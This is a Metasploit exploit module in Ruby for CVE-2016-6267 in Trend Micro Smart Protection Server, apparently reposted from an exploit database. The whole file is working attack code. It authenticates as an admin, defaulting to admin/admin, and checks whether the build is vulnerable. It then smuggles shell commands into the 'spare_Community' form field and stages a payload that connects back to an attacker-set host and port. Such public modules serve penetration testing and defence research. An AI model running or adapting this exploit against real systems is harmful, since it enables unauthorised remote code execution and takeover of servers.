###########################

# Trend Micro Smart Protection Server Exec Remote Code Injection Vulnerability

###########################

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'openssl'
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Trend Micro Smart Protection Server Exec Remote Code Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
        Please note: authentication is required to exploit this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Quentin Kaiser <kaiserquentin[at]gmail.com>'
        ],
      'References'     =>
        [
          ['CVE-ID', 'CVE-2016-6267']
        ],
      'Platform'        => 'linux',
      'Targets'         => [ [ 'Linux', {} ] ],
      'Payload'         => { 'BadChars' => "\x00" },
      'CmdStagerFlavor' => [ 'bourne' ],
      'Privileged'     => false,
      'DefaultOptions' =>
      {
         'SSL' => true
      },
      'DisclosureDate' => "Aug 8 2016",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('SSL', [ true, 'Use SSL', true ]),
        OptString.new('TARGETURI', [true, 'The base path', '/']),
        OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]),
        OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]),
        OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']),
        OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']),
      ], self.class)
  end


  def check
    opts = login
    if opts
      uri = target_uri.path
      res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
        'headers'=>
        {
          'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
          'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
          'Origin' =>  "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
        }
      })
      if res and res.code == 200
        version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
        build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
        print_status("TrendMicro Smart Protection Server detected.")
        print_status("Version: #{version}")
        print_status("Build: #{build}")
        if (version == 3.0 and build < 1330) or
          (version == 2.6 and build < 2106) or
          (version == 2.5 and build < 2200)
            return Exploit::CheckCode::Vulnerable
        else
          return Exploit::CheckCode::Safe
        end
      end
    end
    Exploit::CheckCode::Unknown
  end


  def execute_command(cmd, opts = {})
    uri = target_uri.path
    send_request_cgi({
      'method' => 'POST',
      'version' => '1.0',
      'timeout' => 1,
      'uri' => normalize_uri(uri, 'php/admin_notification.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers'=>
      {
        'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
        'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
        'Origin' =>  "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
      },
      'vars_post' => {
        'EnableSNMP' => 'on',
        'Community' => 'hello',
        'submit' => 'Save',
        'pubkey' => '',
        'spare_EnableSNMP' => 1,
        'spare_Community' => "test;#{cmd}",
        'spare_EnableIPRestriction' => 0,
        'spare_AllowGroupIP' => '',
        'spare_AllowGroupNetmask' => '',
        'sid' => opts["sid"]
      }
    })
  end

  def login
    uri = target_uri.path
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php'),
    })
    if res and res.code == 200 and !res.get_cookies.empty?
      sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip
      sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first
      n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first
      nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first
      asn1_sequence = OpenSSL::ASN1::Sequence.new(
        [
          OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)),
          OpenSSL::ASN1::Integer.new("0x10001".to_i(16))
        ]
      )
      public_key = OpenSSL::PKey::RSA.new(asn1_sequence)
      creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}"
      data = Base64.encode64(public_key.public_encrypt(creds))
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(uri, "auth.php"),
        'ctype' => 'application/x-www-form-urlencoded',
        'headers'=>
        {
          'Cookie' => "#{sid}=#{sid_value}",
          'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
          'Origin' =>  "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
        },
        'vars_post' => {
          'data' => data,
          'sid' => sid
        }
      })
      if res and res.code == 302
        if res.headers.key?('Set-Cookie')
          sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
          sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
        end
        report_cred(
            ip: datastore['RHOST'],
            port: datastore['RPORT'],
            service_name: (ssl ? "https" : "http"),
            user: datastore['ADMINACCOUNT'],
            password: datastore['ADMINPASS'],
            proof: "#{sid}=#{sid_value}"
        )
        return {"sid" => sid, "sid_value" => sid_value}
      end
    end
    nil
  end

  def report_cred(opts)
    service_data = {
        address: opts[:ip],
        port: opts[:port],
        service_name: opts[:service_name],
        protocol: 'tcp',
        workspace_id: myworkspace_id
    }

    credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        username: opts[:user],
        private_data: opts[:password],
        private_type: :password
    }.merge(service_data)

    login_data = {
        core: create_credential(credential_data),
        status: Metasploit::Model::Login::Status::SUCCESSFUL,
        proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def exploit
    opts = login
    if opts
      print_status("Successfully logged in.")
      print_status("Exploiting...")
      execute_cmdstager(opts=opts)
    else
      print_error("An error occured while loggin in.")
    end
  end
end

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2016-11-15]

###########################